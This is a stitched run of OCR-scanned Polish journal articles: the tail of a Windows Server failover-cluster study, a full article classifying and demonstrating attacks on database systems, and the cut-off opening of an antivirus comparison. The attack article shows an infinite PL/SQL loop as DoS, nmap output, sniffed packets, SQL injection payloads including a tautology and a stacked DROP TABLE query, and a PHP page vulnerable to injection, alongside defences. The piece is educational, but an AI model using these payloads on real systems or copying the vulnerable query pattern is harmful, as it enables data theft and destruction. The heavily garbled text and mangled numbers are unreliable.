20,000 17,436 577 15288
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Node and  Node and Node Node and Node and Disk Only (2 Disk Only (3
Disk Disk Majority (3 File Share (2File Share (3 serwery serwery
Majority (2 Majority (3  serwery serwery serwery  failover)
serwery serwery  failover)  failover)  failover)
failover)  failover)

s]
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failover)

Model klastra failover

Rys. 5.Srednie czasy niedagingici ustug klastra
Fig. 5. The average duration of unavailability efisces cluster
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Podczas analizy histogramu przedstawionego na Rysdac, iz minimal-
ny czas niedogpncici danej ustugi wsrodowisku MS Windows Server 2012R2
(dla kazdego z badanych modeli) jest nie mniejszy 500 sekundy. Maksy-
malny czas niedogbnasci badanej ustugi, co pokazano na Rys. 4 wyno$i9m®,
sekundy. Analiza histogramow przedstawionych na. Rysraz 5 wskazuje po-
dobieastwa w czasach niedephasci ustug mgdzy modelami klastrow:

* Node and Disk Majorityv konfiguracji 2 serwerdw failover (me-
diana: 19,777srednia: 19,773s);

* Node and File Share Majoritw konfiguracji 2 serweréw failover
(mediana: 19,5954rednia: 17,436s);

* Node and File Share Majoritw konfiguracji 3 serwerow failover
(mediana: 19,554%rednia: 15,724s);

» Disk Onlyw konfiguracji 3 serweréw failover (mediana: 1%35
srednia: 19,752s);

oraz medzy modelami

* Node and Disk Majorityv konfiguracji 3 serwerow failover (me-
diana: 9,836sirednia: 11,477s);

« Node Majority w konfiguracji 3 serweréw failover (mediana:
9,876ssrednia: 11,532s);

Histogramy przedstawione na Rys. 2 oraz 5 pokazujmodele klastra
wykorzystupce dysk lub udziatl sieciowy, ktére majlecydujcy gtos podczas
~gtosowania” w trakcie awarii jednego zemow klastra g wyraznie mniej
sprawne pod wzgtlem HA, anteli modele, w ktérych decydagy gtos podczas
awarii w klastrze majwezlty magce maliwosé swiadczenia danej ustugi, udo-
stepnianej przez klaster.

5. Podsumowanie

Problem zapewniania wysokiej dgshasci ustug oraz wysokiego poziomu
niezawodnéci i odporndci na uszkodzenia categoodowiska informatycznego
nazywanego Gsto infrastruktug krytyczm jest aktualnym tematem badawczym
jak rowniez waznym zagadnieniem z jakim spotykagic na co dzié admini-
stratorzy systemow tej klasy. Wybér odpowiednigjhtgologii HA umaliwia
osiggniecie minimalnych czaséw przestoju ustugi w przypadkvarii oraz de-
terminuje poczucie bezpieamtwa i niezawodnii ustugi przez klientow.

W artykule przetestowano dziatanie podstawowych etioklastra pracy
awaryjnej wsrodowisku MS Windows Server 2012R2. Przesymulowkitia
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scenariuszy awarii jednego zxdw klastra, ktory byt odpowiedzialny w danej
chwili za udostpnianie ustug i dokonano pomiar6w czasu ich niegoskci.

Z przeprowadzonych baflavynika, & najkorzystniejszymi pod wzgllem HA
modelami pracy awaryjnej wyrodowisku MS Windows 2012R2 snodele: No-
de and Disk Majority (z co najmniej 3 serweramideer) oraz Node Majority.
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WYBRANE ATAKI NA SYSTEMY BAZODANOWE

Systemy bazodanowe oraz zawarte w nich darjednym z najwaniejszych ele-
mentow wspotczesnegaviata informatyki. W obecnych czasachimi@ zagrae-
nie zwhzane z bezpiecznym przechowywaniem danych. Celemaggkutu jest
dokonanie klasyfikacji oraz analizy wybranych typétakéw na system zaidza-
nia bazami danych. W artykule dokonano klasyfikatiikéw, scharakteryzowano
i przeprowadzono wybrane ataki na RDBMS w szczegglnataki DoS, wnio-
skowanie, ataki socjotechniczne, testy penetracyjodstuchiwanie pakietéw oraz
ataki z wykorzystaniem luk w programach - SQL Itij&t.

Stowa kluczowe:systemy bazodanowe, ataki na DBMS, SQL Injectioiffisg

1. Klasyfikacja atakow na systemy bazodanowe

Atakiem na systemy bazodanowe nazywamy szkodlivietadde, ktérego
celem jest zamiana, usgoie, dodanie, zniszczenie, zbieranie danych lub kra
dziez nasnikow fizycznych na ktorych znajdujegssystem bazodanowy. Pod-
stawowym wymogiem bezpieargwa systemow bazodanowych jest zapewnie-
nie ochrony danych i ggtosci pracy serwera, zgodnie z ob@wiljgcymi przepi-
sami prawnymi, ustawami dotygzymi przechowywania i przetwarzania da-
nych, normami, jak i z regulaminem przetsorstwa/firmy. Kategorie atakow
na systemy bazodanowsg dosy podobne, do atakow na systemy i sieci kompu-
terowe. Do zdefiniowania kategorii atakéw na systebazodanowe naltg
wziaé pod uwag takie czynniki jak [1,2]:

e Aktywnos¢;

*  Skutek;
e Zamiar;
« Miejsce.
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1.1. Podziat ataku ze wzg@du na ich aktywnas¢

Ze wzgkdu na aktywné&¢ mozna wyr&ni¢ ataki [1,2]:
e Aktywne;
* Pasywne.

Atak aktywny na system bazodanowy ma za zadaniepprzvadzenie ta-
kiego dziatania, w ktérymaytkownik traci kontro¢ nad dostpem do zasobdéw
systemu bazodanowego. Skutkiem takiego dziatan@enby modyfikacja
danych przesytanych gdzy klientem-serwerem, caitkowite lubeéziowe za-
blokowanie pajczenia z serwerem. Jest to kategoria atakow, ktana wy-
kry¢ i czgsciowo im przeciwdziats, lecz petne zabezpieczenie byloby dosy
trudne do zrealizowania, gdywymagatoby to ochrony wszystkich gdzen
i mediéw transmisyjnych radzy klientem, a serwerem [1,2].

Atakiem pasywnym na systemy bazodanowe nazywaréiypiy odczy-
tania informacji zawartych danych, bez ich wetwznej modyfikacji. Do ata-
kow pasywnych mina zalicz¢ kopiowanie danych na #oiki danych, podstu-
chiwanie pakietéw, zbieranie i analiza danych. Ateks trudne do wykrycia,
poniewa nie s powigzane z innymi danymi, a wksza¢ danych jest dogpna
publicznie [1,2].

1.2. Podziat ataku ze wzgdu na skutki atakow

Ze wzgkdu na skutki atakow nima wyr&ni¢ ataki:
« Udane;
¢ Nieudane.

Z atakiem udanym mamy do czynienia, gdy atak akyyadz pasywny
zakaczy st sukcesem. Z serwera bazodanowego zggtabrane, zmodyfiko-
wane, dz usunite dane, zostanie przeprowadzony atak odmowypoststug
(ang. Denial of Service, DoS), czy wykorzystanie fuogramowych SQL Injec-
tion, adz nasapi kradzie;, zniszczenie nmikdw danych przez np. par, po-
wodz itp. [1,2].

Atakiem nieudanym nazywaeskazda czynna¢, ktéra zakéczy sk poraz-
ka. Przyktadem takiego nieudanego atakuzenby¢ wykorzystanie ataku SQL
Injection na zabezpieczonej stronie, czy meeudana proba skanowania portow
serwera bazodanowego [1,2].

1.3. Podziat ataku ze wzghku na ich zamiar

Ze wzgkdu na zamiar maa wyr&nié¢ ataki:
* Zamierzone;
* Niezamierzone.
W atakach zamierzonych, ataicy zdaje sobie sprawz tego co robi i ja-
kie maze ponid¢ konsekwencje prawne i finansowe. Celowym atakieazemn
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by¢ np. atak odmowy dogbtu do ustug, magy na celu catkowite lub ezciowe
zablokowanie dospu do serwera [1,2].

W atakach niezamierzonych, ataday niswiadomie lub przypadkowo do-
konuje ataku na system bazodanowy. Najlepszym fadgkn mae by grupa
0s0b przypadkowo wpisaga losowy cig znakéw w aplikacji, co mie dopro-
wadzi do wysgpienia bédow i sprawé, ze serwer trzebachizie uruchond
ponownie [1,2].

1.4. Podziat ataku ze wzgbu na miejsce ich przeprowadzenia

Ze wzgkdu na miejsce przeprowadzenia atakuzmaowyrdnic¢ ataki:
* Lokalne;
» Zdalne.

Do atakéw lokalnych (wewstrznych) zaliczymy wszystkie zagmenia
zwigzane ze spetem oraz infrastruktyrsieciows. Do atakéw lokalnych natg
przede wszystkim nieuprawniony dgstdo uradzen, kradzie nosnikow
Z kopiami zapasowymi, niszczenie stz awarie pgdu, paary, powodzie,
oraz take ataki z weweirznej infrastruktury sieciowej np. komputera znggd
cego st w tej samej sieci komputerowej co serwer bazodgndest to jedno
Z najpowaniejszych i najkosztowniejszych zaged na systemy bazodanowe,
poniewa w poréwnaniu do atakow zdalnych nie da przewidzi€ jaki typ
zagraenia lokalnego mee nasipi¢, podpecie st do sieci lokalnej mze spo-
wodowa wyciek danych [1,2].

Ataki zewretrzne to ataki przeprowadzane z sieci atat@fo na serwer
badz sie¢ komputerows, gdzie znajduje siserwer bazodanowy. Najlepszym
przyktadem takiego ataku jest atak DoS lub DDo&ad@s IP serwera. Ataky)
cy w tej kategorii nie ma fizycznej mlowvosci dostpu do danych czy teurzs-
dzen znajdugcych s¢ na serwerze [1,2].

2. Analiza atakow na systemy bazodanowe

2.1. Topologia serwera bazy danych oraz sieci

Na Rys. 1. zostata przedstawiona topologia obshegupaz danych po-
przez lokalny serwer z degiem przez sieglobalry. Zasad dziatania ména
przedstawd w ten sposob:

1. Uzytkownik wysyta dane do serwerarytkownik wprowadza dane,

zeby serwer mogt wystazapytanie SQL do bazy.

2. Serwer przyjmuje zgtoszenieserwer otrzymuje zapytanie SQL, wy-

konuje odpowiednie polecenie.

3. Serwer wysyta odpowigd- serwer wysyta dane dozyakownika

w formie odpowiedniego komunikatu.
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4. Eksploity skanyj system bazodanowy i podstuchyjakiety— pro-
gramy skanuj porty i ustugi aywane przez system bazodanowy,
oraz przechwytuje wszystkie pakiety wysytanezaay komputerem
PC, a serwerem bazodanowym.

5. Przeprowadzenie atakéw DeSprzeprowadzenie wybranych atakow
DoS na serwer bazodanowy.

6. Fizyczny dosgp do serwera- wytkownicy maj fizyczny dosgp do
serwera bazodanowego.

Siec lokalna
Serwer
bazodanowy

PC
(uzytkownik)

6. Fizyczny dostep
do serwera

przyjmuje
zgtoszenie

4. Eksploity
skanuja system
bazodanowy i

podstuchuja
pakiety

1. Uzytkownik
wysyta dane do
serwera

5. Przeprowadzenie
atakow DoS

% 3. Serwer wysyta

PC odpowied?
(uzytkownik)

PC
(uzytkownik)

Siec¢ globalna

Rys. 1. Topologia serwera bazodanowego i sieci kaetpwej

Fig. 1. Database server and Network topology
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2.2. Atak blokady ustug, DoS

Atak blokady ustug (ang. Denial of Service, Do®)atak majcy na celu
obcigzenia zasobOw serwera, oprogramowania, aetddczy sieciowych poza
granic ich wydajngci. Zazwyczaj celem ataku DoS na systemy bazodanowe
jest zablokowanie dagtu do serwera bazodanowego [3].

Atak DoS mae zostéa wymierzony w serwer HTTP,ghdz w konkretny
port serwera bazodanowego. Dla przykladu w systdramdanowym Oracle,
atakuje s najczsciej port ustugi Oracle TNS Listener (1521), ktédpowiada
za komunikagj uzytkownik — serwer [3].

Jednym z przyktaddw ataku DoS, moby¢ zle napisanie funkcji czy pro-
cedury w PL/SQL i wywotanie jej w aplikacji. Najp@aniejszym bédem jest
stworzenie procedury zawiegapj w sobie ptle bez warunku jej zakozenia
np. LOOP co przedstawiono na Rys. 2. Czydinta kedzie sé wykonywa
w nieskaiczonag¢, co w konsekwencji doprowadzi do 100% wykorzystani
zasobow serwera i spowodujeggzowe lub catkowite zablokowanie mavo-
$ci obliczeniowych dla pozostatych operacji.

SOQL*Plus: Release 11.2.9.1.8 Production on M Maxr € 21:87:87 2dle
Copuright (c) 1982, 2818, Oracle. All rights reserved.

Prosz¥ podaf nazwt u1gtkoun1ka s5Yys as sysdba
Proszy¥ podas haslo

Fo czono =z
Or;JIe Database 11lg Ente Erlse Edition Release 11.2. - 64bit Production
Hith the Partitioning, OLAP, Data Mining and Real ﬁPPllcatlon Testing options

SQL) declare

loo

dhns output rut_line(’ Przukladowy atak Do3’);
end Toop

end;

o

I fata iy

Rys. 2. Atak DoS — przykiad ztej procedury PL/SQL
Fig. 2. DoS attack - bad PL/SQL procedure example

2.3. Wnioskowanie

Whnioskowanie to nic innego jak zbieranie danyclir&ts powszechnie
dostpne np. ze stron zawiegaych informacje statystyczne. Ten typ ataku po-
lega przede wszystkim na badaniu gzkibw midzy podanymi danymi. Egto
dane g upubliczniane, e&¢ z tych danych mae zawiera informacje poufne.
Jeili kilka takich zestawOw danych zostanie upubliamyich, atakujicy maze
pofaczy¢ ze sob dane i w ten sposéb zyskmformacije tj. adres zamieszkania,
ustugi z jakich dana osoba korzysta, wiek, nawgki [

2.4. Socjotechnika

Socjotechnika to nic innego jak wywieranie wptywa lndzi poprzez sto-
sowanie ranych metod dziatania mgych na celu oggniccie okr&lonego
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celu, w tym przypadku kradzieinformacji z systemu bazodanowego np. po-
przez moca site perswazji lub déwiadczenie. W socjotechnice wygptije wiele
roznych metod atakdw w zateosci od potrzeby, magby¢ one realizowane na
biezgco lub zostam one pojdczone ze saptworzac bardziej zaawansowany atak.
Obecnie ataki socjotechniczng soraz cgsciej wykorzystywane. W rozmowie
telefoniczne] mena podszy sic pod administratora serwera i wykéadane np.
logowania czy inne widiwe informacje. Zazwyczajaytkownik jest proszony o
ponowne wpisanie danych i wystanie ich na odpowiedines e-mail lub przez
podarm strorg internetovy. Uzytkownik wprowadzajc takie informagj przeka-
zuje je agresorom, co w konsekwencji doprowadzavgaeku informacji. In-
nym czstym zagraeniem socjotechnicznym jest kradzierzadzer. W dzisiej-
szych czasach na przeéngch uradzeniach znajduje gico raz wecej wrazli-
wych danych tj. hasta do kont pocztowych, loginjasta do serwisowBrak
zaszyfrowanych uggdzeh maze spowodowa wyciek informacji z danego wz
dzenia, atakaicy maze dosté sie do naszego konta i zr@bz nim praktycznie
co zechce [4].

2.5. Testy penetracyjne oraz podstuchiwanie pakietd

Testy penetracyjne mpga zadanie przeprowadzenie kontrolowanego ska-
nowania i ataku na siekomputerowy. Celem takiego testu jest ocena stanu za-
bezpieczé danego systemuatlz ustug. Takie skanowanie e dostarczy
osobie atakujcej informacje dotycgce luk w oprogramowaniu, ¢y w zabez-
pieczeniach, wergjsystemu operacyjnego serwera oraz wiele innyctmyedn
informacji. Wieksza¢ wykorzystywanych luk w systemach jest zala od zain-
stalowanej wersji oprogramowania [5].

W niniejszym przyktadzie do skanowania sie¢yto narzdzia NMAP,
opartego na licencji GNU GPL. Jak pokazano na Rymazna dowiedzié sie o
skanowanym systemie np. jakig wywane porty, jakie aplikacje sieciowe pra-
cuja na skanowanym komputerze itp. Napnweejsz odczytag informacp jest:
port Oracle TNS Listener (1521), ktéry odpowiadapp&czenia sieciowe rai
dzy serwerami i hostami [4,5].

Podstuchiwanie i przechwytywanie pakietow (ang.ff8rg) ma na celu
gromadzenie i anakzinformacji przesylanych radzy stacy robocz, a serwe-
rem. Atakujcy maze z tych pakietéw dowiedZiesic jaka wersja systemu bazo-
danowego jest zainstalowana na serwerze, jak nagigagowany uytkownik,
sprawdz¢é jakie polecenia SQL zostaty wystane na serwer, tezysprawdzt
Z jakim portem serweradzy st stacja robocza. Sniffing w sieci ma dziatanie
pasywne, administrator serwera nie wie, ktOre pgks przechwytywane.

Z dziataar przedstawionych na Rys. 4-5 sma dowiedzié si¢ jaka jest zainsta-
lowana wersja systemu bazodanowego na serwerzeytada wartéc to: Orac-
le 11g) oraz na jakim numerze IP i porcie (IP: 168.0.111, port 1521) [5].
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rootikali:~# nmap -s¥ 192.168.0.111

Starting Nmap G6.4SBETA4 { https://nmap.org ) at 2016-03-06 23:39 CET
Nmap scan report for 182.168.08.111
Host is up (0.00814s latency].

Not shown: 991 closed ports

PORT

135/tcp
139/tcp
445/tcp
1821 /tcp
5387 /tcp

49152/tcp
49153/tcp
49154/ tcp
49155/ tcp

STATE
open
open
open
open
open
open
open
open
open

SERVICE
ms rpc
nethios-ssn

microsoft-ds

oracle-tns
http
ms rpc
ms rpc
ms rpc
ms rpc

YERSION
Microsoft Windows RPC

Microsoft Windows 98 netbios-ssn

Oracle THS Listener
Microsoft
Microsoft
Microsoft
Mic rosoft
Microsoft

Windows RPC
Windows RPC
Windows RPC
Windows RPC

(primary domain: WORKGROUP)

HTTPAPTI httpd 2.6 {SSDP/UPNP)

Rys. 3. Skanowanie serwera bazodanowegazdziem NMAP

Fig. 3. Scanning of the database server by the Ntb&P
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1)) (ADDR
TOCOL=TC P} (HOST=
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Ta=(SERV
=XE)(CID
M=C:\app
tratorﬁq
1.2.0%¢

INYsqlpl
HOST=CLI
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ES5=(PRO

Rys. 4. Podstuchany pakiet wystany do serwera karmgego Oracle
Fig. 4. Sniffed packet sent to the Oracle databaseer

0000
0010
0020
0030
0040
0050
0060
0070
0080
0090
00al
00b0
00cO
00do
00e0
00f0
0100

from em ployees
where fi rst_name
="steven ' or fir
= . Alexan

Rys. 5. Podstuchany pakiet z zapytaniem SQL
Fig. 5. Sniffed packet with SQL query
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2.6. Wykorzystanie luk w programach SQL Injection

Btedy w oprogramowaniu to jedna z najbardziej popyianrmetod dotarcia do
danych zawartych w systemach bazodanowych. SQttimjgest to typ ataku wyko-
rzystupcy luki w zapytaniach SQL. Atakigy ma maliwos¢ wptywu na to jakie
zapytanie zostanie wystane na serwer bazodanoyegcBv stanie wplywéna to co
zostanie wystane, mna tatwo odczyta zawarte informacje w bazie danych. Sam
atak SQL Injection nie wptywa bezpednio na sam kod aplikacji, jego zasada dzia-
tania polega na wystaniu odpowiednio zmodyfikowanegpytania na serwer. Wiele
aplikacji w dzisiejszych czasach oparta jest nanelogiach takich jak JSP, ASP,
PHP itp. Pobierajone dane odaytkownika np. img i wykorzystup je do sformuto-
wania zapytania do bazy danych. Najlepszym przgkfadtaku SQL Injection jest
odczytanie podstawowych informacji aytkowniku po podaniu podstawowych da-
nych takich jak: PESEL oraz nazwisko przez strimternetowy napisan w PHP
(Rys. 6), ktéra wysyta zapytanie do serwera, &pai je wywietla za pomagtabeli
[6].

Ataki SQL Injection mena podzielt na [6]:

» Modyfikacje zapyta - polegajcy na zmianie warkgi zmiennych, ktére zo-

stary przestane do serwera bazodanowego.

» Blokowanie serwera (atak DoS)taka zamiana wadd zmiennych, aby
serwer bardzo diugo obliczat wynik np. przegyaie funkcji benchmark
w systemie bazodanowym MYSQL/.

« , Slepy atak’- wykonywanie ataku typu SQL Injection na strdoke serwe-
rze, ktora nie w§wietla komunikatow kidéw.

» Uzycie dodatkowych zapyta- g to ataki SQL Injection, ktére mag
zawierd kilka zapyt& na raz, np.SELECT * FROM employees
WHERE first_ name = 'Valli '; DROP TABLE testowa,;

SELECT '1%.

Gdy witryna nie jest zabezpieczona przed atakani Bfgction np. przez var
zanie zmiennych, fatwo nina wyciagna¢ dane z serwera bazodanowego, po-
niewa serwer bazodanowy sprawdza tylko czy skfadnia tzagyy SQL s zga-
dza. Badajc skiadnie zapytaniaSELECT * FROM users where
PESEL="$pesel” AND nazwisko="$nazwisko”; mozna dostrzecze

w miejsce zmiennych ,PESEL” i ,nazwisko” maa wpisé jeden z warunkéw
logicznych, dztki ktérym zapytanie zawszeetizie prawdziwe, w zwizku

z czym zostanie wivietlona cafa tabela z ktérej wczytywang iaformacije.
Uzycie logicznego warunku w ten sposob spraweakomenda do bazy przyj-
muje nasfpujaca post&: SELECT * FROM users WHERE PESEL = ‘1’

or ‘1'="1" AND nazwisko = ‘1 ;. Wynik polecenia pokazano na
Rys.7.
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< ?php

Soconn = oci connect('user', 'bedrds', '192.168.0. 111/XE") ;

if ((isset($_POST['pesel']))&s&(iszset($_POST['nazwisko']))) {

if ('empty($imie)) {

$§stid = oci_parse ($conn, 'SELECT * FRCM users where PESEL="$pesel™
LND nazwisko="Snazwisko™"; "):

fimie ."'"™);

if (!&stid) {

echo "errorl™;

¢e = oci_error(fconn):
trigger_error[htmlentities[Se['message'],ENT_QUDTES], E_USER ERRCR):}
$r = oci_execute($stid);

if (!%r) {%e = oci_error(fstid):
trigger_error[htmlentities[se['message'],ENT_QUOTES], E USER EERROR);
} else {

print "<table border='1'>\n";

while ($row = oci_ fetch array($stid, OCI_ASSOC+0OCI_RETURN NULLS)) {
print "<trxin";

foreach (Srow as $item) {
print"<td>".[Sitem]==null?ntmlentities[Sitem,ENT_QUDTESJ:"Enbsp;"].

Rys. 6. Przyktad witryny w PHP
Fig. 6. The example of PHP site

100||Steven King SKING 515.123.4567 03/06/17|AD_PRES 24000 90
101||Neena Kochhar ||[NKOCHHAR|[515.123 4568 05/09/21||AD_VP 17000 100{(90
102|Lex De Haan |[LDEHAAN (|515.123.4569 0L/0L/13||AD_VP 17000 10090
103||Alexander  ||[Hunold AHUNOLD ||590.423.4567 06/01/03||IT_PROG 9000 102(60
1NAID Tarimmd DCDACT £0N AN2 AZLC NTNENIIITT DA £nnin 1n2l&n

Rys. 7. Odczytane dane za pomataku SQL Injection
Fig. 7. The read data using SQL Injection Attack

Kolejnym przyktadem ataku SQL Injection (Blind S@ijection) jest wyko-
rzystanie wywietlanych bédow i ostrzeen przez serwer http do sprawdzenia
poprawndci wpisywanych zapyta Jest to jeden z najgxiej wykorzystywanych
sposobdéw na sprawdzenie czy istpigjpisywane tabele, dane itpzydkownik
wpisuje losowe dane i sprawdza, jakie informacjeapa serwer. I metod
ataku jest wykorzystanie komendwyion select ... , ktéra tworzy zapytania
do wielu tabel i zwraca jeden wynik. Bki temu mana hczy tabele Zeby sé to
udato liczba kolumn tabeétrodtowych i dodawanej przez komendnion  musi
si¢ zgadzd, z tego wniosekze przyday sic informacije, ktére dzki Blind SQL
Injection mana zdoby. Niekoniecznie trzeba zéayp danych, a tam gdziecgjo
nie zna, mena sprébowawpisa wartaci null - [6].

Sposobami obrony przed atakami SQL injectipfts:
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» Sprawdzanie do jakiego typu nadedane wejciowe (podane dane po-
winny by¢ odpowiedniej dlugéci i typu np. nazwisko nie nie posiadé
cyfr);

» ,Oczyszczanie” danych wajiowych;

¢ Wiazanie zmiennych (w Oracleci_bind_by name ), redukuje ata-
ki SQL Injection, poniewaprzechowywane dane nig saktowane jako
cze$¢ instrukcji SQL. Nie trzeba wpisywaapostroféw lub innych zna-
kow specjalnych.

3. Podsumowanie

Kazdy z systemOw zagezania bazami danych daje zéy a czasami
ogromne maliwosci w zakresie zabezpieczania zarowno danych zaelany
plikach serwera bazy danych, jak i zapewnieniglokci dziatania serwerow
bazodanowych. Zagdzanie zaawansowanym systemem bazodanowym oraz
jego poprawne konfigurowanie jest nagimym i niejednokrotnie e¢fkim zada-
niem dla administratora, od ktérego wymagadiizej wiedzy w tej dziedzinie.
W wiekszasci przypadkow administrator zaydza juz stworzonymi aplikacjami,
musi on polegana odpowiedzialnii i dokumentacji programistéw twaseych
aplikacje. Jedynym doginym dla niego naezlziem jest test penetracyjny apli-
kacji oraz audyt bezpiecastwa w miejscu gdzie pracuje. Nie ma nigdy wy-
kluczy¢ bledéw ludzkich podczas programowania, cziyywania programow.
Powinno st tez wprowadzé odpowiedm polityke bezpieczastwa, aby nikt
niepowotany nie miat dogbu do serwerdw, czy sieci komputerowej.

Z punktu widzenia umiejscowienia atakow, ana stwierdz, ze ataki lo-
kalne tj. ataki znajdgre s¢ w wewretrznej sieci komputerowej lub przepro-
wadzone w budynku firmyasnajniebezpieczniejsze i trudnoe gprzed nimi
obronk.
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ATTACKS ON DATABASES SYSTEMS

Summary

Database systems and the data they contain, arefdhe most important elements of the
modern world of computer science. Nowadays, thgesdtly increases for the safe storage of data.
The purpose of this article is to classify and gralthe selected types of attacks on the database
management system. At the beginning selected atatkhe DBMS are classified and described.
Afterwards, exemplary attacks were carried ouhitest environment. The attacks on the DBMS
includes: DDoS attacks, inference, social engingemenetration test, packet sniffing and attacks
using vulnerabilities in programs like SQL Injectio
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W artykule oméwiono dziatlanie oprogramowania antygbwego typu
klient/chmura oraz rhice pom¢dzy standardowym oprogramowaniem antywiru-
sowym dziatajcym w oparciu o ,aizkiego klienta”. Przedstawiono perspektywy
rozwoju oprogramowania tego typu. Weéa badawczej poréwnano dziatanie obu
typow programéw. Dokonano oceny wptywu oprogramadevamtywirusowego na
wykorzystanie pamtci RAM, uzycie procesora oraz wptywu na szybkalziata-
nia systemu i wykrywalnii ztosliwego oprogramowania przez testowane pro-
gramy antywirusowe.

Stowa kluczowe: architektura klient/chmura, program antywirusowygrsatury
wirusowe, chmury obliczeniowe.

1. Wprowadzenie

W ostatnich latach nagiit gwaltowny wzrost iléci ztosliwego oprogra-
mowania, co spowodowalae dotychczasowe rozg#ania antywirusowe prze-
staty by wystarczajce. Producenci oprogramowania antywirusowego etiacz
zastanawia sie nad nowymi technikami, ktére gwarantowaltyby bezp#@stwo
uzytkownikow korzystajcych z sieci. Efektem ich prac byto stworzenie ngave
typu oprogramowania antywirusowego opartego naitetdiirze klient/chmura.
Dziatanie takiego rozwiania znacznie vhi si¢ od standardowych programéw
tego typu. Oprogramowanie typu klient/chmura praametadanymi (informa-
cjami o pliku), ktoére s przesytane do chmury, a nie z obiektami w forniie p
kow. Niniejszy artykut jest praboceny efektywnéri tego typu oprogramowa-
nia w odniesieniu do tradycyjnych programéw antysowych .

1 Autor do korespondencji: Maksymilian Burdacki, Petiinika Rzeszowska,
maxb931@gmail.com

2 pawet Dymora, Politechnika Rzeszowska, Katedra Emdegtroniki, Elektroenergetyki i Sys-
temow Ztazonych, pawel.dymora@prz.edu.pl

3 Mirostaw Mazurek, Politechnika Rzeszowska, KatednarBoelektroniki, Elektroenergetyki i
Systemow Ztaonych, miroslaw.mazurek@prz.edu.pl
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2. Oprogramowanie antywirusowe architektury typu
klient/chmura - charakterystyka

Okreslenie ,chmura antywirusowa” odnosi¢sdlo infrastruktury, ktéra jest
uzywana przez firra antywirusovg w celu przetwarzania informacji uzyskanych
z komputeréw oséb korzystajych z okrélonego produktu, aby zidentyfikowa
nowe, nieznane zagrenia. Technologie aywane do przechowywania i prze-
twarzania danych aytkownika dziatag w tle. Oprogramowanie antywirusowe
wysyta zadanie do chmury, aby sprawdzizy jest tam dogpna jakakolwiek
informacja dotycaca okrdlonego programu, dziatania, linku czy zasobu. Od-
powiedz wyglada nasfpujaco: ,tak, jest dogpna informacja” lub ,nie, nie ma
dostpnej informacji”. System aktualizacji zaklada je#ismunkows interakcg
pomigdzy firmg antywirusowq i uzytkownikiem: od producenta oprogramowania
antywirusowego do aytkownika. Nie ma informacji zwrotnych od-ytkowni-
ka, co powodujeze nie jest mgiwe natychmiastowe zidentyfikowanie podej-
rzanego dziatania lub uzyskanie informacji o roegtezzeniajcym st zagrae-
niu lub jegozrodiach [1].

W przeciwigstwie do systemu aktualizacji poélgg oparte na chmurze jest
dwukierunkowe. Komputery pagiizone do chmury za pompaentralnego
serwera informy chmue o zrédtach infekcji, a take o0 podejrzanych dziata-
niach, ktére zostaly wykryte. Po przetworzeniu iniacji, stag si¢ one dosipne
dla innych komputeréw, ktéreaspodhczone do chmury. W rzeczywisto
uzytkownicy maj mazliwosé dzielenia s informacjami za p&rednictwem in-
frastruktury firmy antywirusowej dotygzymi atakoéw uruchomionych przeciw-
ko nim izrédtach tych atakow. W wyniku otrzymano zintegrowamzproszog
intelektualnie sié antywirusovy dziatapca jako cal@é. Gtéwrg réznica pomie-
dzy chmug i istniegcymi technologiami antywirusowymi jest obiekt, Ktor
zostatl wykryty. Poprzednie generacje technologiietdak np. sygnatury praco-
waly z obiektami w formie plikbw, natomiast chmuaatywirusowa pracuje
Zz metadanymi. Metadane t informacje o pliku zawierage: unikalny identy-
fikator pliku (funkcja hash), dane o tym, w jakiosgb plik przedostat sido
systemu, jak si zachowywat itp. Nowe zagtenia @ identyfikowane
w chmurze aywajac metadanych, chodigliki same w sobie niegswiasciwie
przesytane do chmury do wphej analizy [1, 4].

3. Architektura ,ci ezkiego klienta”

Architektura ,cezkiego klienta” tradycyjnych produktéw antywirusoviyc
opiera s¢ na modutach zajmagych dua ilos¢ pameci dyskowej na punktach
koncowych. Zadaniem tych modutéw jest poréwnywaniegipahnych plikow z
sygnaturami zagé@n. Tego typu rozwizanie posiada wady, gédyspowalnia
szybka¢ przetwarzania punktu Koowego poprzez skanowanie w poszukiwa-
niu ztasliwego oprogramowania i poréwnywanie sygnatur, ooiejsza dodat-
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kowo wydajnd¢, denerwuje gytkownikéw i w czsci przypadkow powoduje
wytaczenie oprogramowania antywirusowego przeytkownika. Tysace no-

wych sygnatur g wysytane do punktéw kKmowych §rednio 5 MB na punkt
koncowy kazdego dnia), co pochiania przepustédecza i wymaga monitoro-
wania przez administratoréw systemu.

Architektura typu klient/chmura fundamentalnie zmi#e & sytuacg. Na
punkcie kacowym potrzebny jest tylko bardzo lekki klient, Kt&najduje nowe
pliki i tworzy hash’e (sygnatury) tych plikéw. Hdehss wysylane do serwera
opartego na chmurze iporéwnywane z rozbudawbaz danych sygnatur.
Odpowiedzi g wysytane z powrotem do punktudawego [2, 5].

Na Rys. 1. przedstawiono schemat architektury apragwania antywiru-
sowego typu klient/chmura.

Kanaly danych uzytkownikéw

ﬁ Zewnetrzne kanaly danych
ﬁ ﬁ o zagrozZeniach

Hash'e plikéw

_‘ Baza danych znanych
T —

hash'y plikéw

Stacja robocza

Rys. 1. Schemat architektury oprogramowania antysewego typu klient/chmura, na podstawie
[2]

Fig. 1. The architecture of the client/cloud antigi based on [2]

Architektura typu klient/chmura ma ogromprzewag nad tradycyjnymi
produktami antywirusowymi. Niesie ona ze golastpujace korzyci:

« Na urzdzeniu kaicowym wykonywane jest niewiele zadalzicki cze-
mu jego wydajn& nie zmniejsza i

* Nie ma znacznego wptywu naycie pasma lub wydajdé sieci, po-
niewaz tylko kilka hash’y w danym systemie jest wymieryah przez
sie¢ (zwykle okoto 120 KB dziennie) zamiast tysy nowych sygnatur
zagraen.

» System oparty na chmurze dysponuje ogrprbaz danych sygnatur
i uzywa serwerOw o diej mocy obliczeniowej do poréwnywania wzor-
cow, co powodujeze ten proces jest bardziej kompletny i szybszy.
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» System oparty na chmurze otrzymuje w czasie rzeistym dane doty-
czgce zagraen od laboratoriow testowych, producentow oprogramowa
nia antywirusowego, tysty przedsibiorstw i milionéw uytkownikow,
wigC zagraenia typu zero-day magost@ zablokowane tak szybko jak
tylko zostag zidentyfikowane.

» Administratorzy systeméw nie muspaswi¢cat czasu na instalowanie
.Ciczkiego klienta” lub aktualizowanie sygnatur nazégm urzdzeniu
koncowym.

Programy antywirusowe, ktorych dziatanie oparte gesiezkiego klienta g
catkowicie przestarzate. Architektura klient/chmijegst jedynym sposobem, aby
dopasowywanie sygnatur w czasie rzeczywistym stalo praktyczne
i efektywne [2].

4. Poréwnanie oprogramowania

Przeprowadzone badania miaty na celu poréwnaniegpamowania anty-
